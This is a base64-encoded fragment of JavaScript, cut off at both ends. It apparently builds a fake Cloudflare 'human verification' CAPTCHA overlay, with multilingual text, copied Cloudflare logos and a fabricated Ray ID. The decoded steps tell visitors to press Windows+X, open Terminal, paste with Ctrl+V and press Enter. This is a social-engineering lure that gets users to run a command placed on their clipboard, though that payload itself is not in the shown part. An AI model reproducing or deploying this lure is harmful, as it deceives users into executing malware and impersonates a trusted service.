XRcdTAwZTkgZGUgdm90cmUgY29ubmV4aW9uLicsd2luZG93c0tleUhlbHA6J0NcJ2VzdCBsYSB0b3VjaGUgV2luZG93cywgZW4gYmFzIGR1IGNsYXZpZXIgZW50cmUgQ3RybCBldCBBbHQsIHNvdXMgbGEgdG91Y2hlIFonfSxlczp7bm90Um9ib3RUZXh0OidObyBzb3kgdW4gcm9ib3QnLHZlcmlmeWluZ1RleHQ6J0NvbXByb2JhbmRvXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonVmVyaWZpY2FjaVx1MDBmM24gaHVtYW5hJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29tcGxldGEgbG9zIHBhc29zIGFiYWpvJyxrZXlib2FyZEluc3RydWN0aW9uczonUmVhbGl6YSBsb3MgcGFzb3MgZW4gdHUgdGVjbGFkbycsdGltZVJlbWFpbmluZzonVGllbXBvIHJlc3RhbnRlJyx3YXJuaW5nMzBTZWNvbmRzOidcdTAwYTFNZW5vcyBkZSAzMCBzZWd1bmRvcyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonbyBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWNpZGFkJyx0ZXJtc0xpbms6J1RcdTAwZTlybWlub3MnLHNlY3VyaXR5TWVzc2FnZTonZGViZSByZXZpc2FyIGxhIHNlZ3VyaWRhZCBkZSB0dSBjb25leGlcdTAwZjNuLicsd2luZG93c0tleUhlbHA6J0VzdGEgZXMgbGEgdGVjbGEgZGUgV2luZG93cywgZW4gbGEgcGFydGUgaW5mZXJpb3IgZGVsIHRlY2xhZG8gZW50cmUgQ3RybCB5IEFsdCwgYmFqbyBsYSB0ZWNsYSBaJ30saXQ6e25vdFJvYm90VGV4dDonTm9uIHNvbm8gdW4gcm9ib3QnLHZlcmlmeWluZ1RleHQ6J1ZlcmlmaWNhXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonVmVyaWZpY2EgdW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb21wbGV0YSBpIHBhc3NhZ2dpIHNlZ3VlbnRpJyxrZXlib2FyZEluc3RydWN0aW9uczonRXNlZ3VpIGkgcGFzc2FnZ2kgc3VsbGEgdHVhIHRhc3RpZXJhJyx0aW1lUmVtYWluaW5nOidUZW1wbyByaW1hbmVudGUnLHdhcm5pbmczMFNlY29uZHM6J01lbm8gZGkgMzAgc2Vjb25kaSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonbyBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkludmlvIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWN5Jyx0ZXJtc0xpbms6J1Rlcm1pbmknLHNlY3VyaXR5TWVzc2FnZTonZGV2ZSB2ZXJpZmljYXJlIGxhIHNpY3VyZXp6YSBkZWxsYSBjb25uZXNzaW9uZS4nLHdpbmRvd3NLZXlIZWxwOidRdWVzdG8gXHUwMGU4IGlsIHRhc3RvIFdpbmRvd3MsIGluIGJhc3NvIHN1bGxhIHRhc3RpZXJhIHRyYSBDdHJsIGUgQWx0LCBzb3R0byBpbCB0YXN0byBaJ30scHQ6e25vdFJvYm90VGV4dDonTlx1MDBlM28gc291IHVtIHJvYlx1MDBmNCcsdmVyaWZ5aW5nVGV4dDonVmVyaWZpY2FuZG9cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYVx1MDBlN1x1MDBlM28gaHVtYW5hJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29uY2x1YSBhcyBldGFwYXMgYWJhaXhvJyxrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gc2V1IHRlY2xhZG8nLHRpbWVSZW1haW5pbmc6J1RlbXBvIHJlc3RhbnRlJyx3YXJuaW5nMzBTZWNvbmRzOidNZW5vcyBkZSAzMCBzZWd1bmRvcyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonb3UgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonUHJpdmFjaWRhZGUnLHRlcm1zTGluazonVGVybW9zJyxzZWN1cml0eU1lc3NhZ2U6J3ByZWNpc2EgdmVyaWZpY2FyIGEgc2VndXJhblx1MDBlN2EgZGEgY29uZXhcdTAwZTNvLicsd2luZG93c0tleUhlbHA6J0VzdGEgXHUwMGU5IGEgdGVjbGEgV2luZG93cywgbmEgcGFydGUgaW5mZXJpb3IgZG8gdGVjbGFkbyBlbnRyZSBDdHJsIGUgQWx0LCBhYmFpeG8gZGEgdGVjbGEgWid9LHpoOntub3RSb2JvdFRleHQ6J1x1NjIxMVx1NGUwZFx1NjYyZlx1NjczYVx1NTY2OFx1NGViYScsdmVyaWZ5aW5nVGV4dDonXHU2YjYzXHU1NzI4XHU2OGMwXHU2N2U1XHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHU0ZWJhXHU1ZGU1XHU5YThjXHU4YmMxJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHU4YmY3XHU1YjhjXHU2MjEwXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxrZXlib2FyZEluc3RydWN0aW9uczonXHU4YmY3XHU1NzI4XHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0Jyx0aW1lUmVtYWluaW5nOidcdTUyNjlcdTRmNTlcdTY1ZjZcdTk1ZjQnLHdhcm5pbmczMFNlY29uZHM6J1x1NTI2OVx1NGY1OVx1NGUwZFx1OGRiMzMwXHU3OWQyXHVmZjAxJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J1x1OTAwOVx1NjJlOSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidcdTk2OTBcdTc5YzEnLHRlcm1zTGluazonXHU2NzYxXHU2YjNlJyxzZWN1cml0eU1lc3NhZ2U6J1x1OTcwMFx1ODk4MVx1NjhjMFx1NjdlNVx1NjBhOFx1NzY4NFx1OGZkZVx1NjNhNVx1NWI4OVx1NTE2OFx1NjAyN1x1MzAwMicsd2luZG93c0tleUhlbHA6J1x1OGZkOVx1NjYyZiBXaW5kb3dzIFx1OTUyZVx1ZmYwY1x1NGY0ZFx1NGU4ZVx1OTUyZVx1NzZkOFx1NWU5NVx1OTBlOCBDdHJsIFx1NTQ4YyBBbHQgXHU0ZTRiXHU5NWY0XHVmZjBjWiBcdTk1MmVcdTRlMGJcdTY1YjknfSxqYTp7bm90Um9ib3RUZXh0OidcdTc5YzFcdTMwNmZcdTMwZWRcdTMwZGNcdTMwYzNcdTMwYzhcdTMwNjdcdTMwNmZcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNWJcdTMwOTMnLHZlcmlmeWluZ1RleHQ6J1x1NzhiYVx1OGE4ZFx1NGUyZFx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1NGViYVx1OTU5M1x1NzhiYVx1OGE4ZCcsdmVyaWZpY2F0aW9uU3VidGl0bGU6J1x1NGVlNVx1NGUwYlx1MzA2ZVx1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI4Y1x1NGU4Nlx1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsdGltZVJlbWFpbmluZzonXHU2YjhiXHUzMDhhXHU2NjQyXHU5NTkzJyx3YXJuaW5nMzBTZWNvbmRzOidcdTZiOGJcdTMwOGEzMFx1NzlkMlx1NjcyYVx1NmU4MFx1ZmYwMScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdTMwN2VcdTMwNWZcdTMwNmYgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHUzMGQ3XHUzMGU5XHUzMGE0XHUzMGQwXHUzMGI3XHUzMGZjJyx0ZXJtc0xpbms6J1x1ODk4Zlx1N2QwNCcsc2VjdXJpdHlNZXNzYWdlOidcdTYzYTVcdTdkOWFcdTMwNmVcdTViODlcdTUxNjhcdTYwMjdcdTMwOTJcdTc4YmFcdThhOGRcdTMwNTlcdTMwOGJcdTVmYzVcdTg5ODFcdTMwNGNcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNTlcdTMwMDInLHdpbmRvd3NLZXlIZWxwOidcdTMwNTNcdTMwOGNcdTMwNmYgV2luZG93cyBcdTMwYWRcdTMwZmNcdTMwNjdcdTMwNTlcdTMwMDJcdTMwYWRcdTMwZmNcdTMwZGNcdTMwZmNcdTMwYzlcdTRlMGJcdTkwZThcdTMwNmUgQ3RybCBcdTMwNjggQWx0IFx1MzA2ZVx1OTU5M1x1MzAwMVogXHUzMGFkXHUzMGZjXHUzMDZlXHU0ZTBiXHUzMDZiXHUzMDQyXHUzMDhhXHUzMDdlXHUzMDU5J30sa286e25vdFJvYm90VGV4dDonXHViMDk4XHViMjk0IFx1Yjg1Y1x1YmQwN1x1Yzc3NCBcdWM1NDRcdWIyZDlcdWIyYzhcdWIyZTQnLHZlcmlmeWluZ1RleHQ6J1x1ZDY1NVx1Yzc3OCBcdWM5MTFcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdWMwYWNcdWI3OGMgXHVkNjU1XHVjNzc4Jyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHVjNTQ0XHViNzk4IFx1YjJlOFx1YWNjNFx1Yjk3YyBcdWM2NDRcdWI4Y2NcdWQ1NThcdWMxMzhcdWM2OTQnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdWQwYTRcdWJjZjRcdWI0ZGNcdWI4NWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsdGltZVJlbWFpbmluZzonXHViMGE4XHVjNzQwIFx1YzJkY1x1YWMwNCcsd2FybmluZzMwU2Vjb25kczonMzBcdWNkMDggXHViYmY4XHViOWNjIFx1YjBhOFx1Yzc0YyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHViNjEwXHViMjk0IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1YWMxY1x1Yzc3OFx1YzgxNVx1YmNmNCcsdGVybXNMaW5rOidcdWM1N2RcdWFkMDAnLHNlY3VyaXR5TWVzc2FnZTonXHVjNWYwXHVhY2IwIFx1YmNmNFx1YzU0OFx1Yzc0NCBcdWQ2NTVcdWM3NzhcdWQ1NzRcdWM1N2MgXHVkNTY5XHViMmM4XHViMmU0Licsd2luZG93c0tleUhlbHA6J1x1Yzc3NFx1YWM4M1x1Yzc0MCBXaW5kb3dzIFx1ZDBhNFx1Yzc4NVx1YjJjOFx1YjJlNC4gXHVkMGE0XHViY2Y0XHViNGRjIFx1ZDU1OFx1YjJlOFx1Yzc1OCBDdHJsXHVhY2ZjIEFsdCBcdWMwYWNcdWM3NzQsIFogXHVkMGE0IFx1YzU0NFx1Yjc5OFx1YzVkMCBcdWM3ODhcdWMyYjVcdWIyYzhcdWIyZTQnfSx0cjp7bm90Um9ib3RUZXh0OidCZW4gcm9ib3QgZGVcdTAxMWZpbGltJyx2ZXJpZnlpbmdUZXh0OidLb250cm9sIGVkaWxpeW9yXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHUwMTMwbnNhbiBkb1x1MDExZnJ1bGFtYXNcdTAxMzEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidBXHUwMTVmYVx1MDExZlx1MDEzMWRha2kgYWRcdTAxMzFtbGFyXHUwMTMxIHRhbWFtbGF5XHUwMTMxbicsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0FkXHUwMTMxbWxhclx1MDEzMSBrbGF2eWVuaXpkZSBnZXJcdTAwZTdla2xlXHUwMTVmdGlyaW4nLHRpbWVSZW1haW5pbmc6J0thbGFuIHNcdTAwZmNyZScsd2FybmluZzMwU2Vjb25kczonMzAgc2FuaXllZGVuIGF6IGthbGRcdTAxMzEhJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J3ZleWEgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonR2l6bGlsaWsnLHRlcm1zTGluazonXHUwMTVlYXJ0bGFyJyxzZWN1cml0eU1lc3NhZ2U6J2JhXHUwMTFmbGFudFx1MDEzMW5cdTAxMzF6XHUwMTMxbiBnXHUwMGZjdmVubGlcdTAxMWZpbmkga29udHJvbCBldG1lc2kgZ2VyZWtpeW9yLicsd2luZG93c0tleUhlbHA6J0J1IFdpbmRvd3MgdHVcdTAxNWZ1ZHVyLCBrbGF2eWVuaXppbiBhbHQga1x1MDEzMXNtXHUwMTMxbmRhIEN0cmwgdmUgQWx0IGFyYXNcdTAxMzFuZGEsIFogdHVcdTAxNWZ1bnVuIGFsdFx1MDEzMW5kYSBidWx1bnVyJ30sYXI6e25vdFJvYm90VGV4dDonXHUwNjQ0XHUwNjMzXHUwNjJhIFx1MDYyOFx1MDYzMVx1MDY0Nlx1MDYyN1x1MDY0NVx1MDYyYyBcdTA2MzFcdTA2NDhcdTA2MjhcdTA2NDhcdTA2MmEnLHZlcmlmeWluZ1RleHQ6J1x1MDYyY1x1MDYyN1x1MDYzMVx1MDY0ZCBcdTA2MjdcdTA2NDRcdTA2MmFcdTA2MmRcdTA2NDJcdTA2NDJcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTA2MjdcdTA2NDRcdTA2MmFcdTA2MmRcdTA2NDJcdTA2NDIgXHUwNjI3XHUwNjQ0XHUwNjI4XHUwNjM0XHUwNjMxXHUwNjRhJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHUwNjIzXHUwNjQzXHUwNjQ1XHUwNjQ0IFx1MDYyN1x1MDY0NFx1MDYyZVx1MDYzN1x1MDY0OFx1MDYyN1x1MDYyYSBcdTA2MjNcdTA2MmZcdTA2NDZcdTA2MjdcdTA2NDcnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkJyx0aW1lUmVtYWluaW5nOidcdTA2MjdcdTA2NDRcdTA2NDhcdTA2NDJcdTA2MmEgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjJhXHUwNjI4XHUwNjQyXHUwNjRhJyx3YXJuaW5nMzBTZWNvbmRzOidcdTA2MjNcdTA2NDJcdTA2NDQgXHUwNjQ1XHUwNjQ2IDMwIFx1MDYyYlx1MDYyN1x1MDY0Nlx1MDY0YVx1MDYyOSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHUwNjIzXHUwNjQ4IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1MDYyN1x1MDY0NFx1MDYyZVx1MDYzNVx1MDY0OFx1MDYzNVx1MDY0YVx1MDYyOScsdGVybXNMaW5rOidcdTA2MjdcdTA2NDRcdTA2MzRcdTA2MzFcdTA2NDhcdTA2MzcnLHNlY3VyaXR5TWVzc2FnZTonXHUwNjRhXHUwNjJkXHUwNjJhXHUwNjI3XHUwNjJjIFx1MDYyNVx1MDY0NFx1MDY0OSBcdTA2NDVcdTA2MzFcdTA2MjdcdTA2MmNcdTA2MzlcdTA2MjkgXHUwNjIzXHUwNjQ1XHUwNjI3XHUwNjQ2IFx1MDYyN1x1MDYyYVx1MDYzNVx1MDYyN1x1MDY0NFx1MDY0My4nLHdpbmRvd3NLZXlIZWxwOidcdTA2NDdcdTA2MzBcdTA2MjcgXHUwNjQ3XHUwNjQ4IFx1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBXaW5kb3dzXHUwNjBjIFx1MDY0MVx1MDY0YSBcdTA2MjNcdTA2MzNcdTA2NDFcdTA2NDQgXHUwNjQ0XHUwNjQ4XHUwNjJkXHUwNjI5IFx1MDYyN1x1MDY0NFx1MDY0NVx1MDY0MVx1MDYyN1x1MDYyYVx1MDY0YVx1MDYyZCBcdTA2MjhcdTA2NGFcdTA2NDYgQ3RybCBcdTA2NDggQWx0XHUwNjBjIFx1MDYyYVx1MDYyZFx1MDYyYSBcdTA2NDVcdTA2NDFcdTA2MmFcdTA2MjdcdTA2MmQgWid9fTsNCg0KICAgICAgICAgICAgdmFyIGxhbmdDb2RlID0gZ2V0QnJvd3Nlckxhbmd1YWdlQ29kZSgpOw0KICAgICAgICAgICAgaWYgKHRyYW5zbGF0aW9uc1tsYW5nQ29kZV0pIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJhbnNsYXRpb25zW2xhbmdDb2RlXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcmV0dXJuIHRyYW5zbGF0aW9ucy5lbjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBVSV9UUkFOU0xBVElPTlMgPSBtZXJnZU9zSW5zdHJ1Y3Rpb25TdGVwcyhnZXRUcmFuc2xhdGVkU3RyaW5ncygpLCBnZXRCcm93c2VyTGFuZ3VhZ2VDb2RlKCkpOw0KICAgICAgICB2YXIgU1RFUDJfSFRNTCA9IGJ1aWxkU3RlcDJIdG1sKFVJX1RSQU5TTEFUSU9OUyk7DQoNCiAgICAgICAgdmFyIENMT1VERkxBUkVfTE9HT19TVkcgPSAnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxODAgNTAiPjxwYXRoIGZpbGw9IiNGQkFENDEiIGQ9Ik0zOC41IDMyLjJjLjEtLjQuMS0uOC4xLTEuMiAwLTQuMS0zLjMtNy40LTcuNC03LjQtMS4yIDAtMi40LjMtMy40LjgtLjktMi41LTMuMy00LjItNi4xLTQuMi0zLjYgMC02LjUgMi45LTYuNSA2LjUgMCAuNi4xIDEuMy4zIDEuOUMxMy40IDI5LjIgMTIgMzAuOCAxMiAzMi44YzAgLjUuMSAxIC4zIDEuNGgyNmMuNC0uOC4zLTEuNS4yLTJ6Ii8+PHBhdGggZmlsbD0iI0Y2ODIxRiIgZD0iTTM2LjggMzQuMkgxM2MtLjUgMC0uOS0uMy0xLS44bC0uNS0xLjljLS4xLjQtLjEuOC0uMSAxLjIgMCAxLjIgMSAyLjIgMi4yIDIuMmguOWMuMyAxLjYgMS44IDIuOCAzLjYgMi44SDMyYzIgMCAzLjYtMS4zIDQuMS0zLjFsLjUtMS44Yy4yLS40LS4zLS42LS44LS42LjEgMCAuMi4xLjIuMmwuOCAxLjh6Ii8+PHRleHQgeD0iNDgiIHk9IjM1IiBmb250LWZhbWlseT0iQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiIGZvbnQtc2l6ZT0iMTgiIGZvbnQtd2VpZ2h0PSI3MDAiIGZpbGw9IiNGNjgyMUYiPmNsb3VkZmxhcmU8L3RleHQ+PC9zdmc+JzsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9MT0dPX0JBU0U2NCA9ICdkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKENMT1VERkxBUkVfTE9HT19TVkcpOw0KDQogICAgICAgIHZhciBJU19MSUdIVF9NT0RFID0gISEod2luZG93Lm1hdGNoTWVkaWEgJiYgd2luZG93Lm1hdGNoTWVkaWEoJyhwcmVmZXJzLWNvbG9yLXNjaGVtZTpsaWdodCknKS5tYXRjaGVzKTsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9GVUxMX0xPR09fU1ZHID0gJzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMTAxLjQgMzMuNSI+PGRlZnM+PHN0eWxlPi5he2ZpbGw6I2ZmZn0uYntmaWxsOiNmNDgxMjB9LmN7ZmlsbDojZmFhZDNmfS5ke2ZpbGw6JyArIChJU19MSUdIVF9NT0RFID8gJyM0MDQwNDEnIDogJyNmZmYnKSArICd9PC9zdHlsZT48L2RlZnM+PHBhdGggY2xhc3M9ImEiIGQ9Ik05NC43LDEwLjYsODkuMSw5LjNsLTEtLjQtMjUuNy4yVjIxLjVsMzIuMy4xWiIvPjxwYXRoIGNsYXNzPSJiIiBkPSJNODQuMiwyMC40YTIuODU1NDYsMi44NTU0NiwwLDAsMC0uMy0yLjYsMy4wOTQyOCwzLjA5NDI4LDAsMCwwLTIuMS0xLjFsLTE3LjQtLjJjLS4xLDAtLjItLjEtLjMtLjFhLjE4NzUuMTg3NSwwLDAsMSwwLS4zYy4xLS4yLjItLjMuNC0uM0w4MiwxNS42YTYuMjkyMjMsNi4yOTIyMywwLDAsMCw1LjEtMy44bDEtMi42YzAtLjEuMS0uMiwwLS4zQTExLjM5NjQ2LDExLjM5NjQ2LDAsMCwwLDY2LjIsNy43YTUuNDU5NDEsNS40NTk0MSwwLDAsMC0zLjYtMUE1LjIwOTM2LDUuMjA5MzYsMCwwLDAsNTgsMTEuM2E1LjQ2MjYyLDUuNDYyNjIsMCwwLDAsLjEsMS44QTcuMzAxNzcsNy4zMDE3NywwLDAsMCw1MSwyMC40YTQuMTAyLDQuMTAyLDAsMCwwLC4xLDEuMS4zMTkzLjMxOTMsMCwwLDAsLjMuM0g4My41Yy4yLDAsLjQtLjEuNC0uM1oiLz48cGF0aCBjbGFzcz0iYyIgZD0iTTg5LjcsOS4yaC0uNWMtLjEsMC0uMi4xLS4zLjJsLS43LDIuNGEyLjg1NTQ2LDIuODU1NDYsMCwwLDAsLjMsMi42LDMuMDk0MjgsMy4wOTQyOCwwLDAsMCwyLjEsMS4xbDMuNy4yYy4xLDAsLjIuMS4zLjFhLjE4NzUuMTg3NSwwLDAsMSwwLC4zYy0uMS4yLS4yLjMtLjQuM2wtMy44LjJhNi4yOTIyMyw2LjI5MjIzLDAsMCwwLTUuMSwzLjhsLS4yLjljLS4xLjEsMCwuMy4yLjNIOTguNWEuMjY1MTcuMjY1MTcsMCwwLDAsLjMtLjMsMTAuODcxODQsMTAuODcxODQsMCwwLDAsLjQtMi42LDkuNTYwNDUsOS41NjA0NSwwLDAsMC05LjUtOS41Ii8+PHBhdGggY2xhc3M9ImQiIGQ9Ik0xMDAuNSwyNy4yYS45LjksMCwxLDEsLjktLjkuODk2MjYuODk2MjYsMCwwLDEtLjkuOW0wLTEuNmEuNy43LDAsMSwwLC43LjcuNjgzNTQuNjgzNTQsMCwwLDAtLjctLjdtLjQsMS4yaC0uMmwtLjItLjNoLS4ydi4zaC0uMnYtLjloLjVhLjI2NTE3LjI2NTE3LDAsMCwxLC4zLjNjMCwuMS0uMS4yLS4yLjNsLjIuM1ptLS4zLS41Yy4xLDAsLjEsMCwuMS0uMWEuMDk3OTQuMDk3OTQsMCwwLDAtLjEtLjFoLS4zdi4zaC4zWm0tODkuNy0uOWgyLjJ2NmgzLjh2MS45aC02Wm04LjMsMy45YTQuMTA0OTEsNC4xMDQ5MSwwLDAsMSw0LjMtNC4xLDQuMDIsNC4wMiwwLDAsMSw0LjIsNC4xLDQuMTA0OTEsNC4xMDQ5MSwwLDAsMS00LjMsNC4xLDQuMDc4ODgsNC4wNzg4OCwwLDAsMS00LjItNC4xbTYuMywwYTIuMDU1NjUsMi4wNTU2NSwwLDAsMC0yLTIuMiwyLjEwMjUsMi4xMDI1LDAsMCwwLDAsNC4yYzEuMi4yLDItLjgsMi0ybTQuOS41VjI1LjRoMi4ydjQuNGMwLDEuMS42LDEuNywxLjUsMS43YTEuMzk5MjYsMS4zOTkyNiwwLDAsMCwxLjUtMS42VjI1LjRoMi4ydjQuNGMwLDIuNi0xLjUsMy43LTMuNywzLjctMi4zLS4xLTMuNy0xLjItMy43LTMuN20xMC43LTQuNGgzLjFjMi44LDAsNC41LDEuNiw0LjUsMy45cy0xLjcsNC00LjUsNGgtM1YyNS40Wm0zLjEsNS45YTIuMDA5MDksMi4wMDkwOSwwLDEsMCwwLTRoLS45djRabTcuNi01LjloNi4zdjEuOUg1NHYxLjNoMy43djEuOEg1NHYyLjlINTEuOFptOS40LDBoMi4ydjZoMy44djEuOWgtNlptMTEuNy0uMWgyLjJsMy40LDhINzYuMWwtLjYtMS40SDcyLjRsLS42LDEuNEg2OS41Wm0yLDQuOUw3NCwyOGwtLjksMi4yWm02LjQtNC44SDg1YTMuNDE4MTgsMy40MTgxOCwwLDAsMSwyLjYuOSwyLjYyMzczLDIuNjIzNzMsMCwwLDEtLjksNC4ybDEuOSwyLjhIODYuMWwtMS42LTIuNGgtMXYyLjRIODEuM1ptMy42LDMuOGMuNywwLDEuMi0uNCwxLjItLjksMC0uNi0uNS0uOS0xLjItLjlIODMuNXYxLjloMS40Wm02LjUtMy44aDYuNHYxLjhIOTMuNnYxLjJoMy44djEuOEg5My42djEuMmg0LjN2MS45SDkxLjRaTTYuMSwzMC4zYTEuOTc1NDgsMS45NzU0OCwwLDAsMS0xLjgsMS4yLDIuMTAyNSwyLjEwMjUsMCwwLDEsMC00LjIsMi4wOTc3LDIuMDk3NywwLDAsMSwxLjksMS4zSDguNWE0LjEzNDU5LDQuMTM0NTksMCwwLDAtNC4yLTMuM0E0LjE2NTEsNC4xNjUxLDAsMCwwLDAsMjkuNGE0LjA3ODg4LDQuMDc4ODgsMCwwLDAsNC4yLDQuMSw0LjMxODEyLDQuMzE4MTIsMCwwLDAsNC4yLTMuMloiLz48L3N2Zz4nOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjQgPSAnZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCwnICsgYnRvYShDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcpOw0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9XSElURV9MT0dPX0JBU0U2NCA9ICdkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKA0KICAgICAgICAgICAgQ0xPVURGTEFSRV9GVUxMX0xPR09fU1ZHLnJlcGxhY2UoJy5ke2ZpbGw6JyArIChJU19MSUdIVF9NT0RFID8gJyM0MDQwNDEnIDogJyNmZmYnKSArICd9JywgJy5ke2ZpbGw6I2ZmZn0nKQ0KICAgICAgICApOw0KDQogICAgICAgIHZhciBESVNQTEFZX0hPU1ROQU1FID0gQ1VTVE9NX0RPTUFJTiB8fCAod2luZG93LmxvY2F0aW9uICYmIHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSkgfHwgJ2Nsb3VkZmxhcmUuY29tJzsNCiAgICAgICAgdmFyIFJBWV9UUkFDS0lOR19JRCA9ICdkOGZjMjZmYjNjOGFlNDlhJzsNCg0KICAgICAgICB2YXIgc3R5bGVFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICAgICAgc3R5bGVFbGVtZW50LmlkID0gJ2J3LWNmLXN0eWxlJzsNCg0KICAgICAgICBzdHlsZUVsZW1lbnQudGV4dENvbnRlbnQgPSAnI2J3LWNmLXJvb3R7cG9zaXRpb246Zml4ZWQgIWltcG9ydGFudDt0b3A6MCAhaW1wb3J0YW50O2xlZnQ6MCAhaW1wb3J0YW50O3JpZ2h0OjAgIWltcG9ydGFudDtib3R0b206MCAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3ICFpbXBvcnRhbnQ7aGVpZ2h0OjEwMH